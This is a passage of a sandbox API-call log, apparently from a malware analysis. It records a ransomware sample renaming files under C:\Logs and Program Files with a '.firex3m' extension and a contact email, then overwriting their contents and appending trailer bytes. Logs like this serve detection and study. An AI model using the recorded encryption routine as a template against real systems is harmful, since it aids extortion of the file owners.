hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0100.738] Sleep (dwMilliseconds=0x1) [0101.484] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Boot\\Fonts\\malgunn_boot.ttf", len=0x1e | out: pbstr=0x4fbff7c*="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 1 [0101.484] GetProcessHeap () returned 0x630000 [0101.484] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9288, Size=0x18) returned 0x6b01f8 [0101.484] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.334] Sleep (dwMilliseconds=0x1) [0102.352] Sleep (dwMilliseconds=0x1) [0102.377] Sleep (dwMilliseconds=0x1) [0102.380] Sleep (dwMilliseconds=0x1) [0102.397] Sleep (dwMilliseconds=0x1) [0102.430] Sleep (dwMilliseconds=0x1) [0102.459] Sleep (dwMilliseconds=0x1) [0102.474] Sleep (dwMilliseconds=0x1) [0102.489] Sleep (dwMilliseconds=0x1) [0102.505] Sleep (dwMilliseconds=0x1) [0102.520] Sleep (dwMilliseconds=0x1) [0102.539] Sleep (dwMilliseconds=0x1) [0102.556] Sleep (dwMilliseconds=0x1) [0102.568] Sleep (dwMilliseconds=0x1) [0102.584] Sleep (dwMilliseconds=0x1) [0102.598] Sleep (dwMilliseconds=0x1) [0102.615] Sleep (dwMilliseconds=0x1) [0102.631] Sleep (dwMilliseconds=0x1) [0102.663] Sleep (dwMilliseconds=0x1) [0102.676] Sleep (dwMilliseconds=0x1) [0102.755] Sleep (dwMilliseconds=0x1) [0102.770] Sleep (dwMilliseconds=0x1) [0102.788] Sleep (dwMilliseconds=0x1) [0102.806] Sleep (dwMilliseconds=0x1) [0102.818] Sleep (dwMilliseconds=0x1) [0102.884] Sleep (dwMilliseconds=0x1) [0102.900] Sleep (dwMilliseconds=0x1) [0102.928] Sleep (dwMilliseconds=0x1) [0102.943] Sleep (dwMilliseconds=0x1) [0102.958] Sleep (dwMilliseconds=0x1) [0102.974] Sleep (dwMilliseconds=0x1) [0102.989] Sleep (dwMilliseconds=0x1) [0103.005] Sleep (dwMilliseconds=0x1) [0103.020] Sleep (dwMilliseconds=0x1) [0103.088] Sleep (dwMilliseconds=0x1) [0103.098] Sleep (dwMilliseconds=0x1) [0103.115] Sleep (dwMilliseconds=0x1) [0103.130] Sleep (dwMilliseconds=0x1) [0103.152] Sleep (dwMilliseconds=0x1) [0103.165] Sleep (dwMilliseconds=0x1) [0103.184] Sleep (dwMilliseconds=0x1) [0103.192] Sleep (dwMilliseconds=0x1) [0103.209] Sleep (dwMilliseconds=0x1) [0103.223] Sleep (dwMilliseconds=0x1) [0103.239] Sleep (dwMilliseconds=0x1) [0103.264] Sleep (dwMilliseconds=0x1) [0103.271] Sleep (dwMilliseconds=0x1) [0103.293] Sleep (dwMilliseconds=0x1) [0103.303] Sleep (dwMilliseconds=0x1) [0103.320] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Logs\\HardwareEvents.evtx", len=0x1b | out: pbstr=0x4fbff7c*="C:\\Logs\\HardwareEvents.evtx") returned 1 [0103.320] GetProcessHeap () returned 0x630000 [0103.320] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1418, Size=0xc) returned 0x6b1340 [0103.320] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6fc [0103.323] CloseHandle (hObject=0x6fc) returned 1 [0103.323] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.323] MoveFileW (lpExistingFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), lpNewFileName="C:\\Logs\\HardwareEvents.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\hardwareevents.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0103.324] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.324] FindFirstFileW (in: lpFileName="C:\\Logs\\HardwareEvents.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HardwareEvents.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HARDWA~1.FIR")) returned 0x6d4e40 [0103.324] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0103.324] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\hardwareevents.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6fc [0103.324] GetProcessHeap () returned 0x630000 [0103.324] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ff1840 [0103.325] GetProcessHeap () returned 0x630000 [0103.325] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0103.325] SetFilePointerEx (in: hFile=0x6fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.325] ReadFile (in: hFile=0x6fc, lpBuffer=0x6ff1840, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1840*, lpNumberOfBytesRead=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0110.384] GetProcessHeap () returned 0x630000 [0110.384] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0110.385] SetFilePointerEx (in: hFile=0x6fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.385] WriteFile (in: hFile=0x6fc, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0110.385] SetFilePointerEx (in: hFile=0x6fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.385] WriteFile (in: hFile=0x6fc, lpBuffer=0x6ecb447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb447*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0110.385] SetFilePointerEx (in: hFile=0x6fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.385] WriteFile (in: hFile=0x6fc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0110.385] CloseHandle (hObject=0x6fc) returned 1 [0110.389] GetProcessHeap () returned 0x630000 [0110.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0110.389] GetProcessHeap () returned 0x630000 [0110.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff1840 | out: hHeap=0x630000) returned 1 [0110.389] GetProcessHeap () returned 0x630000 [0110.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0110.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0110.389] FindFirstFileW (in: lpFileName="C:\\Logs\\HardwareEvents.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7bfb777, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xbd47496, dwReserved1=0x6ff1838, cFileName="HardwareEvents.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HARDWA~1.FIR")) returned 0x6d5040 [0110.389] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0110.390] Sleep (dwMilliseconds=0x1) [0112.328] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", len=0x53 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 1 [0112.328] GetProcessHeap () returned 0x630000 [0112.328] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fefa40, Size=0x3c) returned 0x6fefba8 [0112.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.330] Sleep (dwMilliseconds=0x1) [0112.334] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml", len=0x4b | out: pbstr=0x4fbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 1 [0112.334] GetProcessHeap () returned 0x630000 [0112.334] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4f00, Size=0x30) returned 0x6ed6150 [0112.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.334] Sleep (dwMilliseconds=0x1) [0112.352] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi", len=0x49 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 1 [0112.352] GetProcessHeap () returned 0x630000 [0112.352] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x18) returned 0x6b02b8 [0112.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.353] Sleep (dwMilliseconds=0x1) [0112.365] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi", len=0x4a | out: pbstr=0x4fbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 1 [0112.366] GetProcessHeap () returned 0x630000 [0112.366] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b02b8, Size=0x14) returned 0x6b0178 [0112.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.366] Sleep (dwMilliseconds=0x1) [0112.396] Sleep (dwMilliseconds=0x1) [0112.411] Sleep (dwMilliseconds=0x1) [0112.427] Sleep (dwMilliseconds=0x1) [0112.443] Sleep (dwMilliseconds=0x1) [0112.458] Sleep (dwMilliseconds=0x1) [0112.474] Sleep (dwMilliseconds=0x1) [0112.490] Sleep (dwMilliseconds=0x1) [0112.506] Sleep (dwMilliseconds=0x1) [0112.521] Sleep (dwMilliseconds=0x1) [0112.538] Sleep (dwMilliseconds=0x1) [0112.584] Sleep (dwMilliseconds=0x1) [0112.599] Sleep (dwMilliseconds=0x1) [0112.615] Sleep (dwMilliseconds=0x1) [0112.634] Sleep (dwMilliseconds=0x1) [0112.658] Sleep (dwMilliseconds=0x1) [0113.665] Sleep (dwMilliseconds=0x1) [0114.299] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml", len=0x3c | out: pbstr=0x4fbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 1 [0114.299] GetProcessHeap () returned 0x630000 [0114.299] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x697230, Size=0x60) returned 0x6e8568 [0114.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.299] Sleep (dwMilliseconds=0x1) [0114.882] Sleep (dwMilliseconds=0x1) [0115.141] Sleep (dwMilliseconds=0x1) [0115.447] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", len=0x43 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 1 [0115.447] GetProcessHeap () returned 0x630000 [0115.447] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0178, Size=0x10) returned 0x6b1208 [0115.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.459] Sleep (dwMilliseconds=0x1) [0115.811] Sleep (dwMilliseconds=0x1) [0117.156] Sleep (dwMilliseconds=0x1) [0117.168] Sleep (dwMilliseconds=0x1) [0117.186] Sleep (dwMilliseconds=0x1) [0117.561] Sleep (dwMilliseconds=0x1) [0117.657] Sleep (dwMilliseconds=0x1) [0117.677] Sleep (dwMilliseconds=0x1) [0117.688] Sleep (dwMilliseconds=0x1) [0117.701] Sleep (dwMilliseconds=0x1) [0117.720] Sleep (dwMilliseconds=0x1) [0118.718] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar", len=0x38 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 1 [0118.895] GetProcessHeap () returned 0x630000 [0118.895] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64ead8, Size=0xa0) returned 0x6fbb290 [0119.061] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0119.144] CloseHandle (hObject=0x714) returned 1 [0119.144] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.145] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0119.145] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3d5bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunpkcs11.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUNPKC~1.FIR")) returned 0x6d5480 [0119.146] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0119.146] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0119.146] GetProcessHeap () returned 0x630000 [0119.146] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f28608 [0119.146] GetProcessHeap () returned 0x630000 [0119.146] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71f0150 [0119.146] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.146] ReadFile (in: hFile=0x714, lpBuffer=0x6f28608, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f28608*, lpNumberOfBytesRead=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.408] GetProcessHeap () returned 0x630000 [0122.408] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0122.408] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.408] WriteFile (in: hFile=0x714, lpBuffer=0x71f0150*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f0150*, lpNumberOfBytesWritten=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.408] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.408] WriteFile (in: hFile=0x714, lpBuffer=0x71fb54f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71fb54f*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0122.521] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.521] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0122.521] CloseHandle (hObject=0x714) returned 1 [0122.529] GetProcessHeap () returned 0x630000 [0122.529] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f0150 | out: hHeap=0x630000) returned 1 [0122.529] GetProcessHeap () returned 0x630000 [0122.529] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f28608 | out: hHeap=0x630000) returned 1 [0122.529] GetProcessHeap () returned 0x630000 [0122.529] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0128.593] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xefae9ff, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3d5e3, dwReserved0=0xbd47496, dwReserved1=0x6f28600, cFileName="sunpkcs11.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUNPKC~1.FIR")) returned 0x6d4ec0 [0128.593] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0128.593] Sleep (dwMilliseconds=0x1) [0128.610] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", len=0x4d | out: pbstr=0x4fbff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 1 [0128.610] GetProcessHeap () returned 0x630000 [0128.610] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xc8) returned 0x66a3e0 [0128.610] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0128.622] CloseHandle (hObject=0x718) returned 1 [0128.622] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.622] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x6d0033, dwReserved1=0x0, cFileName="win32_CopyDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WI8B18~1.FIR")) returned 0x6d4f40 [0128.623] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0128.623] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0128.623] GetProcessHeap () returned 0x630000 [0128.623] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc1) returned 0x6e8730 [0128.623] GetProcessHeap () returned 0x630000 [0128.623] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc1) returned 0x6e8ce0 [0128.623] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.623] ReadFile (in: hFile=0x718, lpBuffer=0x6e8730, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e8730*, lpNumberOfBytesRead=0x4fbff0c*=0xa0, lpOverlapped=0x0) returned 1 [0128.625] GetProcessHeap () returned 0x630000 [0128.625] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0128.625] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 